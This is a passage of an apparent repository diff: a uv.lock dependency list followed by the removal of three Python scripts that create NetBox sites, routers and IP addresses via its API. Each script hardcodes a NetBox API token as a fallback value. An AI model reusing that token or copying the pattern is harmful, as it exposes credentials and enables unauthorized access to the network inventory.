sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" },
]
[[package]]
name = "certifi"
version = "2026.4.22"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" },
]
[[package]]
name = "click"
version = "8.3.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/bb/63/f9e1ea081ce35720d8b92acde70daaedace594dc93b693c869e0d5910718/click-8.3.3.tar.gz", hash = "sha256:398329ad4837b2ff7cbe1dd166a4c0f8900c3ca3a218de04466f38f6497f18a2", size = 328061, upload-time = "2026-04-22T15:11:27.506Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/ae/44/c1221527f6a71a01ec6fbad7fa78f1d50dfa02217385cf0fa3eec7087d59/click-8.3.3-py3-none-any.whl", hash = "sha256:a2bf429bb3033c89fa4936ffb35d5cb471e3719e1f3c8a7c3fff0b8314305613", size = 110502, upload-time = "2026-04-22T15:11:25.044Z" },
]
[[package]]
name = "cnmaestro"
version = "0.1.0"
source = { editable = "." }
dependencies = [
{ name = "click" },
{ name = "httpx" },
{ name = "python-dotenv" },
{ name = "rich" },
]
[package.dev-dependencies]
dev = [
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "respx" },
]
[package.metadata]
requires-dist = [
{ name = "click", specifier = ">=8.1" },
{ name = "httpx", specifier = ">=0.27" },
{ name = "python-dotenv", specifier = ">=1.0" },
{ name = "rich", specifier = ">=13.7" },
]
[package.metadata.requires-dev]
dev = [
{ name = "pytest", specifier = ">=8" },
{ name = "pytest-asyncio", specifier = ">=0.23" },
{ name = "respx", specifier = ">=0.21" },
]
[[package]]
name = "colorama"
version = "0.4.6"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
]
[[package]]
name = "h11"
version = "0.16.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
]
[[package]]
name = "httpcore"
version = "1.0.9"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "h11" },
]
sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
]
[[package]]
name = "httpx"
version = "0.28.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "anyio" },
{ name = "certifi" },
{ name = "httpcore" },
{ name = "idna" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
]
[[package]]
name = "idna"
version = "3.13"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/ce/cc/762dfb036166873f0059f3b7de4565e1b5bc3d6f28a414c13da27e442f99/idna-3.13.tar.gz", hash = "sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242", size = 194210, upload-time = "2026-04-22T16:42:42.314Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/5d/13/ad7d7ca3808a898b4612b6fe93cde56b53f3034dcde235acb1f0e1df24c6/idna-3.13-py3-none-any.whl", hash = "sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3", size = 68629, upload-time = "2026-04-22T16:42:40.909Z" },
]
[[package]]
name = "iniconfig"
version = "2.3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" },
]
[[package]]
name = "markdown-it-py"
version = "4.2.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "mdurl" },
]
sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
]
[[package]]
name = "mdurl"
version = "0.1.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
]
[[package]]
name = "packaging"
version = "26.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" },
]
[[package]]
name = "pluggy"
version = "1.6.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
]
[[package]]
name = "pygments"
version = "2.20.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
]
[[package]]
name = "pytest"
version = "9.0.3"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
{ name = "iniconfig" },
{ name = "packaging" },
{ name = "pluggy" },
{ name = "pygments" },
]
sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a427674c17eb91c", size = 1572165, upload-time = "2026-04-07T17:16:18.027Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", hash = "sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", size = 375249, upload-time = "2026-04-07T17:16:16.13Z" },
]
[[package]]
name = "pytest-asyncio"
version = "1.3.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pytest" },
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", size = 50087, upload-time = "2025-11-10T16:07:47.256Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", size = 15075, upload-time = "2025-11-10T16:07:45.537Z" },
]
[[package]]
name = "python-dotenv"
version = "1.2.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" },
]
[[package]]
name = "respx"
version = "0.23.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "httpx" },
]
sdist = { url = "https://files.pythonhosted.org/packages/43/98/4e55c9c486404ec12373708d015ebce157966965a5ebe7f28ff2c784d41b/respx-0.23.1.tar.gz", hash = "sha256:242dcc6ce6b5b9bf621f5870c82a63997e8e82bc7c947f9ffe272b8f3dd5a780", size = 29243, upload-time = "2026-04-08T14:37:16.008Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1d/4a/221da6ca167db45693d8d26c7dc79ccfc978a440251bf6721c9aaf251ac0/respx-0.23.1-py2.py3-none-any.whl", hash = "sha256:b18004b029935384bccfa6d7d9d74b4ec9af73a081cc28600fffc0447f4b8c1a", size = 25557, upload-time = "2026-04-08T14:37:14.613Z" },
]
[[package]]
name = "rich"
version = "15.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "markdown-it-py" },
{ name = "pygments" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
]
[[package]]
name = "typing-extensions"
version = "4.15.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
]

View file

@ -1,309 +0,0 @@
#!/usr/bin/env python3
import os
import sys
import argparse
import requests
import json
from urllib.parse import urljoin
class NetBoxManager:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
"""Create a new site"""
if not slug:
slug = name.lower().replace(' ', '-').replace('_', '-')
site_data = {
'name': name,
'slug': slug,
'status': status,
'comments': comments
}
if physical_address:
site_data['physical_address'] = physical_address
return self.post('dcim/sites/', site_data)
def create_device(self, name, device_type_id, role_id, site_id, status='active', primary_ip=None):
"""Create a new device"""
device_data = {
'name': name,
'device_type': device_type_id,
'role': role_id,
'site': site_id,
'status': status
}
if primary_ip:
device_data['primary_ip4'] = primary_ip
return self.post('dcim/devices/', device_data)
def create_ip_address(self, address, status='active', description='', role=None):
"""Create a new IP address"""
ip_data = {
'address': address,
'status': status,
'description': description
}
if role:
ip_data['role'] = role
return self.post('ipam/ip-addresses/', ip_data)
def get_or_create_manufacturer(self, name):
"""Get or create a manufacturer"""
response = self.get('dcim/manufacturers/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create manufacturer
mfg_data = {
'name': name,
'slug': name.lower()
}
created = self.post('dcim/manufacturers/', mfg_data)
return created['id']
def get_or_create_device_type(self, model, manufacturer_id):
"""Get or create a device type"""
response = self.get('dcim/device-types/', params={'model': model})
if response['count'] > 0:
return response['results'][0]['id']
# Create device type
dt_data = {
'manufacturer': manufacturer_id,
'model': model,
'slug': model.lower().replace(' ', '-').replace('/', '-')
}
created = self.post('dcim/device-types/', dt_data)
return created['id']
def get_or_create_device_role(self, name, slug=None):
"""Get or create a device role"""
if not slug:
slug = name.lower().replace(' ', '-')
response = self.get('dcim/device-roles/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create device role
role_data = {
'name': name,
'slug': slug,
'color': '2196f3' # Blue color
}
created = self.post('dcim/device-roles/', role_data)
return created['id']
def create_site_and_router(site_name, router_ip, router_name=None, manufacturer='MikroTik',
device_type='RouterBOARD', device_role='Router',
site_comments='', physical_address=''):
"""
Create a site and router in NetBox
Args:
site_name: Name of the site (e.g., 'Verona', 'Climax')
router_ip: Loopback IP of the router (e.g., '10.254.254.101')
router_name: Name for the router device (defaults to '{site_name}-router')
manufacturer: Device manufacturer (default: MikroTik)
device_type: Device model/type (default: RouterBOARD)
device_role: Role of the device (default: Router)
site_comments: Comments for the site
physical_address: Physical address of the site
"""
# Get API token from environment variable or use the one from CLAUDE.md
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Initialize NetBox client
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
# Default router name if not provided
if not router_name:
router_name = f"{site_name.lower()}-router"
# Default site comments if not provided
if not site_comments:
site_comments = f"{site_name} tower site with {manufacturer} router"
print(f"=== Creating {site_name} Site and Router in NetBox ===\n")
# Check if site exists
site_response = nb.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
# Create site
print(f"Creating {site_name} site...")
try:
site = nb.create_site(
name=site_name,
slug=site_name.lower(),
status='active',
comments=site_comments,
physical_address=physical_address
)
site_id = site['id']
print(f"✓ Created {site_name} site (ID: {site_id})")
except Exception as e:
print(f"✗ Failed to create {site_name} site: {e}")
return None, None
else:
site_id = site_response['results'][0]['id']
print(f"{site_name} site already exists (ID: {site_id})")
# Check if router already exists
device_response = nb.get('dcim/devices/', params={'name': router_name, 'site_id': site_id})
if device_response['count'] == 0:
print(f"\nCreating {router_name} device...")
# Get or create manufacturer
print(f" - Setting up manufacturer ({manufacturer})...")
manufacturer_id = nb.get_or_create_manufacturer(manufacturer)
# Get or create device type
print(f" - Setting up device type ({device_type})...")
device_type_id = nb.get_or_create_device_type(device_type, manufacturer_id)
# Get or create device role
print(f" - Setting up device role ({device_role})...")
role_id = nb.get_or_create_device_role(device_role)
# Create the device
try:
device = nb.create_device(
name=router_name,
device_type_id=device_type_id,
role_id=role_id,
site_id=site_id,
status='active'
)
device_id = device['id']
print(f"✓ Created {router_name} device (ID: {device_id})")
# Add primary IP
print(f"\n - Adding primary IP address ({router_ip}/32)...")
# Check if IP already exists
ip_response = nb.get('ipam/ip-addresses/', params={'address': f"{router_ip}/32"})
if ip_response['count'] == 0:
# Create IP address
try:
ip_data = nb.create_ip_address(
address=f"{router_ip}/32",
status='active',
description=f'{router_name} loopback',
role='loopback'
)
ip_id = ip_data['id']
print(f"✓ Created IP address {router_ip}/32")
except Exception as e:
print(f"✗ Failed to create IP address: {e}")
ip_id = None
else:
ip_id = ip_response['results'][0]['id']
print(f"✓ IP address {router_ip}/32 already exists")
# Set as primary IP for the device
if ip_id:
try:
device_update = {
'primary_ip4': ip_id
}
nb.patch(f"dcim/devices/{device_id}/", device_update)
print("✓ Set as primary IP for device")
except Exception as e:
print(f"✗ Failed to set primary IP: {e}")
except Exception as e:
print(f"✗ Failed to create {router_name}: {e}")
return site_id, None
else:
device_id = device_response['results'][0]['id']
print(f"{router_name} already exists (ID: {device_id})")
print(f"\n=== Summary ===")
print(f"Site: {site_name} (ID: {site_id})")
print(f"Device: {router_name} (ID: {device_id})")
return site_id, device_id
def main():
parser = argparse.ArgumentParser(description='Create a site and router in NetBox')
parser.add_argument('site_name', help='Name of the site (e.g., Verona, Climax)')
parser.add_argument('router_ip', help='Loopback IP of the router (e.g., 10.254.254.101)')
parser.add_argument('--router-name', help='Name for the router (default: {site}-router)')
parser.add_argument('--manufacturer', default='MikroTik', help='Device manufacturer')
parser.add_argument('--device-type', default='RouterBOARD', help='Device model/type')
parser.add_argument('--device-role', default='Router', help='Device role')
parser.add_argument('--site-comments', help='Comments for the site')
parser.add_argument('--physical-address', help='Physical address of the site')
args = parser.parse_args()
site_id, device_id = create_site_and_router(
site_name=args.site_name,
router_ip=args.router_ip,
router_name=args.router_name,
manufacturer=args.manufacturer,
device_type=args.device_type,
device_role=args.device_role,
site_comments=args.site_comments,
physical_address=args.physical_address
)
if site_id and device_id:
print(f"\nSuccess! You can now add network data for this site.")
return 0
else:
print(f"\nPartial success or failure. Check the output above.")
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -1,140 +0,0 @@
#!/usr/bin/env python3
import os
import sys
import argparse
import requests
from urllib.parse import urljoin
class NetBoxManager:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def create_site(self, name, slug=None, status='active', comments='', physical_address=''):
"""Create a new site"""
if not slug:
slug = name.lower().replace(' ', '-').replace('_', '-')
site_data = {
'name': name,
'slug': slug,
'status': status,
'comments': comments
}
if physical_address:
site_data['physical_address'] = physical_address
return self.post('dcim/sites/', site_data)
def create_site(site_name, site_comments='', physical_address='', slug=None):
"""
Create a site in NetBox
Args:
site_name: Name of the site
site_comments: Comments for the site
physical_address: Physical address of the site
slug: Custom slug for the site (defaults to lowercase hyphenated name)
"""
# Get API token from environment variable or use the one from CLAUDE.md
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Initialize NetBox client
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
print(f"=== Creating {site_name} Site in NetBox ===\n")
# Check if site exists
site_response = nb.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
# Create site
print(f"Creating {site_name} site...")
try:
site = nb.create_site(
name=site_name,
slug=slug,
status='active',
comments=site_comments,
physical_address=physical_address
)
site_id = site['id']
print(f"✓ Created {site_name} site (ID: {site_id})")
print(f" Name: {site['name']}")
print(f" Slug: {site['slug']}")
print(f" Status: {site['status']['label']}")
if site_comments:
print(f" Comments: {site_comments}")
if physical_address:
print(f" Address: {physical_address}")
return site_id
except Exception as e:
print(f"✗ Failed to create {site_name} site: {e}")
return None
else:
site = site_response['results'][0]
site_id = site['id']
print(f"{site_name} site already exists (ID: {site_id})")
print(f" Name: {site['name']}")
print(f" Slug: {site['slug']}")
print(f" Status: {site['status']['label']}")
if site.get('comments'):
print(f" Comments: {site['comments']}")
return site_id
def main():
parser = argparse.ArgumentParser(description='Create a site in NetBox')
parser.add_argument('site_name', help='Name of the site')
parser.add_argument('--comments', help='Comments for the site')
parser.add_argument('--address', help='Physical address of the site')
parser.add_argument('--slug', help='Custom slug for the site')
args = parser.parse_args()
site_id = create_site(
site_name=args.site_name,
site_comments=args.comments or '',
physical_address=args.address or '',
slug=args.slug
)
if site_id:
print(f"\nSuccess! Site created with ID: {site_id}")
print(f"You can now add devices to this site using:")
print(f" python3 create_site_and_router.py \"{args.site_name}\" <router_ip> --router-name <name>")
return 0
else:
print(f"\nFailed to create site.")
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -1,207 +0,0 @@
#!/usr/bin/env python3
import os
import requests
import json
from urllib.parse import urljoin
class NetBoxManager:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def create_site(self, name, slug=None, status='active', comments=''):
"""Create a new site"""
if not slug:
slug = name.lower().replace(' ', '-')
site_data = {
'name': name,
'slug': slug,
'status': status,
'comments': comments
}
return self.post('dcim/sites/', site_data)
def create_device(self, name, device_type_id, role_id, site_id, status='active'):
"""Create a new device"""
device_data = {
'name': name,
'device_type': device_type_id,
'role': role_id,
'site': site_id,
'status': status
}
return self.post('dcim/devices/', device_data)
def get_or_create_manufacturer(self, name):
"""Get or create a manufacturer"""
response = self.get('dcim/manufacturers/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create manufacturer
mfg_data = {
'name': name,
'slug': name.lower()
}
created = self.post('dcim/manufacturers/', mfg_data)
return created['id']
def get_or_create_device_type(self, model, manufacturer_id):
"""Get or create a device type"""
response = self.get('dcim/device-types/', params={'model': model})
if response['count'] > 0:
return response['results'][0]['id']
# Create device type
dt_data = {
'manufacturer': manufacturer_id,
'model': model,
'slug': model.lower().replace(' ', '-').replace('/', '-')
}
created = self.post('dcim/device-types/', dt_data)
return created['id']
def get_or_create_device_role(self, name, slug=None):
"""Get or create a device role"""
if not slug:
slug = name.lower().replace(' ', '-')
response = self.get('dcim/device-roles/', params={'name': name})
if response['count'] > 0:
return response['results'][0]['id']
# Create device role
role_data = {
'name': name,
'slug': slug,
'color': '2196f3' # Blue color
}
created = self.post('dcim/device-roles/', role_data)
return created['id']
def main():
# Get API token from environment variable or use the one from CLAUDE.md
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Initialize NetBox client
nb = NetBoxManager('https://netbox.vntx.net/', api_token)
print("=== Creating Verona Site and Router in NetBox ===\n")
# Check if Verona site exists
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
if site_response['count'] == 0:
# Create Verona site
print("Creating Verona site...")
try:
site = nb.create_site(
name='Verona',
slug='verona',
status='active',
